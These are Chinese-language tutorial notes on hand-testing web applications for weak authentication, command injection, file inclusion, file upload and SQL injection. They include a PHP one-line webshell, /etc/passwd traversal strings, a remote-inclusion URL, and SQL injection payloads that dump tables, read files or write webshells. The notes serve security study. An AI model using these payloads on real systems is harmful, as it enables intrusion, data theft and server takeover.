手工挖掘web常见漏洞时的一些经验总结
一、前提:
漏洞挖掘原则
所有变量
所有头
cookie中的变量
逐个变量删除
漏洞的本质
数据与指令的混淆
对用户输入信息过滤不严判断失误,误将数据当指令
二、经典漏洞:
1、身份认证
常用弱口令/基于字典的密码爆破
锁定账号
信息收集
手机号(通常有以手机号为用户名的)
密码错误提示信息(用户名正确,输入错误密码看返回什么,再输入错误用户名和密码看返回什么,如果返回信息不同则可以针对一个正确的用户名爆破)
密码嗅探
会话sessionID(Cookies)
Xss/cookie importer (跨站获取cookie)
sessionID in URL (有些网站可能会将sessionID包含在URL中)
嗅探
SessionID 长期不变/永久不变 (网站cookie没有过期机制)
sessionID 生成算法
sequencer
私有算法
预判下一次登陆时生成的sessionID
登出后返回测试
2、命令执行漏洞
应用程序开发者直接调用操作系统命令,并没有对用户输入数据进行过滤。那么用户可以直接构造操作系统命令作为数据发送过去
构造命令时可能会用到的手法:“;,&&,&,||,|”
例如在表单中输入一个ip地址系统会将ping这个IP的结果返回,那么后台很有可能是调用了系统命令ping,此时可以尝试在表单中输入'1.1.1.1;ls',如果系统过滤不严则后面的ls也将被执行
3、目录遍历/文件包含漏洞(注意:就算apache是用root执行的,但是在对操作系统文件进行读写的时候apache还是会调用一个"www-data"账号去读写)
这两种漏洞其实差不多,都是可以读取/var/www/目录以外的文件,比如/etc/passwd。
如果硬要细扣字眼的话,目录遍历是只能遍历主机本地的目录,文件包含除了可以包含主机本地的目录外还可以包含远程主机上的文件(此时可以将远程主机上的木马文件包含进来,让目标主机执行)
注意:1、当URL中包含有‘?变量=XXX’字眼时非常有可能是程序通过include将文件XXX包含进来了,此处就可以测试是否有文件包含漏洞
2、有部分程序会将被包含的文件写在cookie中,比如'cookie: path=XXX',所有不管是URL还是Cookie还是其他任何地方,只要有变量的地方就都有可能存在文件包含漏洞
本地文件包含漏洞危害:
1)、查看本地文件
2)、任意代码执行(试想: 每次WEB连接server都会将其头部截取下来存入日志文件,那么只需要将恶意代码写入头部那么日志文件就会包含有恶意代码,然后通过文件包含漏洞访问该日志文件也就执行了该恶意代码)
远程文件包含漏洞:
出现概率少于本地文件包含漏洞,但更容易被利用(可以将远端的一个webshell包含进去,主机即执行了该webshell)
经典测试方法
?file=../../../../../../etc/passwd
?page=file:///etc/passwd ====>file://类似于http://,访问系统文件时使用file,需要注意的是file://后面跟的是绝对路径
?home=main.cgi =======>/var/www/下面的main.cgi可能包含有一些源码信息
?page=http://www.a.com/1.php =====>远程文件包含
编码绕过字符过滤(有些程序在包含一个文件时可能会在后面自动加后缀,比如将我们的../../etc/passwd变成../../etc/passwd.php)
此时可以使用'%00'来绕过(%00是null的url编码,%00后面的将不再执行)
文件包含字典(kali):
/usr/share/wfuzz/wordlist/Injections
4、文件上传漏洞
原理:通过web提供的正常上传服务直接上传webshell,然后访问该webshell让服务器执行它
一句话webshell代码(具备执行系统命令且输出结果功能):<?php echo shell exec($_GET['cmd']):?>
上传该一句话webshell后通过在URL中加入参数让webshell把这个参数当系统命令去执行,例:
http://172.20.163.44/dvwa/hackable/uploads/44.php?cmd=pwd ====> 44.php为webshell名字,cmd为webshell变量名,pwd为要执行的系统命令
通常web后台程序会通过各种方式检测上传内容(例如检测扩展名、检测文件头等),所以需要对上传的webshell做相应的修改才可以成功利用该漏洞
注意:如果上传的webshell为一个静态文件的后缀名时,apache等web程序可能会将其理解为一个静态文件,当你访问它的时候不是传值给它而是将它打开返回
难点:不知道上传后的准确目录;如果上传后的目录没有执行权限就歇菜了
5、SQL注入(只要有一处sql注入漏洞则黑客就有可能利用联合查询构造各种sql查询语句来查询整个数据库,甚至可以利用一些sql内置函数对操作系统进行操纵)
注意:不光表单中可能存在sql注入,只要是有变量的地方都有肯能存在sql注入,例如:cookie、user-agent等
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断程序后台可能会用到的SQL语句:
select * from users where user='用户输入的用户名' and password='用户输入的密码'
针对这种情况可以尝试的恶意sql语句(最后让上面这句话变成下面这样):
select * from users where user='用户输入的用户名' and password='' or '1=1'
检测sql注入漏洞方式:
1、基于报错的检测方法(输入特殊字符看是否会返回sql语法报错,如果返回语法报错,则说明后台程序将我们输入的内容带入sql语句执行了,也就说明此处存在sql注入漏洞):
例:' " % ()
2、基于布尔的检测(当构造一个为真的sql注入语句时正常显示,构造一个为假的sql注入语句时显示错误,则说明此处存在sql注入漏洞):
例: 1' and '1'='1 / 1' and '1 (真)
1' and '1'='2 / 1' and '0 (假)
3、基于时间的检测
例:select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
如果存在sql语句则会等待10秒再返回结果(即将' and (select * from (select(sleep(10)))a)-- 的睡眠sql语句执行了)
4、基于UNION联合查询检测
适用于通过循环直接输出联合查询结果,否则只显示第一项结果
5、基于堆叠查询的检测
用‘;’堆叠多个查询语句
适用于非select的数据修改、删除的操作
在已经确定有sql注入漏洞后要做的事:
1)、查询数据:
1、探测此处web后台程序调用了多少列
构造order by 1,2,3,4...语句,by后面的数字逐渐增大,超出调用列范围后将报错,利用此方法探测web后台程序在该sql语句中调用了多少列。例:
select name,passwd from users where id = '' order by 50--# =====>注意:'-- '(--后面要跟一个空格)或'#'都表示注释符,可以将后面的内容注释掉
2、联合查询
select name,passwd from users where id = '' union select 1,2-- ====>通过这个可以调用一些内置函数来获取更多信息,以及看到name,passwd分别对应的是第几列
select name,passwd from users where id = '' union select user(),version()-- =====>通过sql内置函数user()、version()可以分别将数据库的用户名和版本号暴出来
常用sql内置函数:
显示DB用户:user()
显示DB版本:version()
显示当前数据库:database()
全局函数:@@datadir #显示数据库路径
@@hostname #显示操作系统级别的主机名
@@version #显示DB版本
@@version_compile_os #显示操作系统信息
**********如果该web程序是以数据库的root账户登录数据库的话可以做以下操作************
如果是mysql数据库的话,information_schema这个数据库中存放了整个mysql数据库的结构信息,可以通过查询该表(查询该表必须具有数据库的root权限才可以)得到整个数据库中包含有哪些库,分别又包含有哪些表,具体需要构造的sql语句如下
select name,passwd from users where id = '' union select table_name,table_schema from information_schema.tables;
也可以通过构造以下sql语句来查询每个库中总共有几个表
select name,passwd from users where id = '' union select table_schema,count(*) from information_schema.tables group by table_schema;
也可以通过构造以下sql语句来查询具体每个表中有什么列(例如查询'assets'表中的列名)
select name,passwd from users where id = '' union select table_name,column_name from information_schema.columns where table_name='assets';
也可以通过构造以下sql语句来查询具体某个表中每个列的值(查询log_analysis库中assets表中id、ip列的值)
select name,passwd from users where id = '' union select id,ip from log_analysis.assets;
假如说已经找到用户名和密码的列可以用以下方法将用户名和密码以 user:password 的形式输出出来(方便查看)
select name,passwd from users where id = '' union select null,concat(user,0x3a,passwd)from log_analysis.assets; ====>0x3a代表':'
**********如果该web程序不是以数据库的root账户登录数据库的话可以做以下操作************
猜解列名(本质还是暴力破解):
猜解当前表的列名:
select name,passwd from users where id = '' and '要猜解的列名' is not null; ====>如果要该表内存在被猜解列名则返回正常(也可能返回为空),如果不存在则返回异常(报错)
猜解当前表的表名:
select name,passwd from users where id = '' and '要猜解的表名.被查询表中肯定有的列' is not null;
猜解当前表的库名:
select name,passwd from users where id = '' and '要猜解的库名.当前表名.被查询表中肯定有的列' is not null;
2)、对系统文件进行操作:
1、读取文件
select name,passwd from users where id = '' union select null,load_file('/etc/passwd'); ====>load_file()函数为sql内置读取系统文件函数
2、写入文件(注意:当指定写入路径时很多时候会因为访问该目录因权限问题被拒绝,那是因为就算你是用root执行的mysql,但是mysql调用任何对操作系统产生影响的功能时还是会自己用一个叫"mysql"的账号去写入)
select name,passwd from users where id = '' union select null,"文件内容(此处可以写一句话木马代码)" into dumpfile "1.php";
注意:如果不指定路径默认传入/var/lib/mysql/1.php路径,但是/var/lib/mysql/目录又不是web目录,就算把马上传上去了也不能通过web运行该目录下的文件。此时就可以配合文件包含漏洞来操作,找一个mysql、web
账户都可以读写的目录,然后将马上传至这个目录,这样利用文件包含漏洞就可以执行该木马了。在linux具有"drwxrwxrw"权限的最典型目录是"/tmp "
3、下载数据库
因为可能读取的数据库数据非常多,靠web网页形式显示不人性化,所以可以考虑利用sql注入将查询到的内容输出到他服务器上的"/tmp"目录下,再利用文件包含漏洞将"/tmp"目录下相应的文件下载下来。
(如果没有文件包含漏洞,则只能用网页形式分次查询了,比如每次查询1W条,此时如果量特别大可以写个爬虫让爬虫自动去查询并解析敏感数据)
select name,passwd from users where id = '' union select null,null into outfile "/tmp/1.db";
SQL盲注(当程序不会返回数据库报错信息时就需要用盲注了):
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注。
盲注思路:
1、既然没有报错信息那就基于真假进行注入判断
构造基于真假盲注sql语句:
select name,passwd from users where id = '1' and 1=1; ====>真
select name,passwd from users where id = '1' and 1=2; ====>假
如果通过构造“真”(1' and 1=1)sql语句和只输入正常数据(‘1’)返回的值相同,则说明存在sql注入(把" ' and 1=1"也执行了)
如果通过构造“假”(1' and 1=2)sql语句和构造“真”(1' and 1=1)sql语句发现返回的值都一样,则不存在sql注入(web程序将“真”sql语句也当成了“假”说明web程序将恶意构造的" ' 1=1"当成了不可识别因素)
2、基于时间进行盲注检测
构造基于时间盲注sql语句:
select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
如果存在sql语句则会等待10秒再返回结果(即将' and (select * from (select(sleep(10)))a)-- 的睡眠sql语句执行了)
拔高:
如果提交表单后返回的是一个图片,那该怎样才能根据返回数据库里的敏感数据呢? 二进制推导!!!
例:
输入一个“真”sql语句返回一个香皂
输入一个“假”sql语句返回一个苹果
select imge from users where name = '香皂' and ORD(MID(version(),1,1))&1>0;
ORD(MID(select passwd from user,1,1))&1>0 解释:
MID():这个函数用来截取字符串,例(MID('abcd',2,4) == 'bcd')
ORD():将字符转换成ASCII码再将ASCII码转换成8位二进制数,例(ORD(a) == a->65->01000001)
&:取二进制数的第几位(1代表从右数第一位,2代表从右数第2位,4代表从右数第3位。。。128代表从右数第8位)
通过以上原理可知:返回'香皂'为1,返回'苹果'为0
逐次增大&后面的数即可推导出MID()给出的字符的ASCII码对应的二进制,逐次增大MID()中后两位参数即可推导出原始字符串。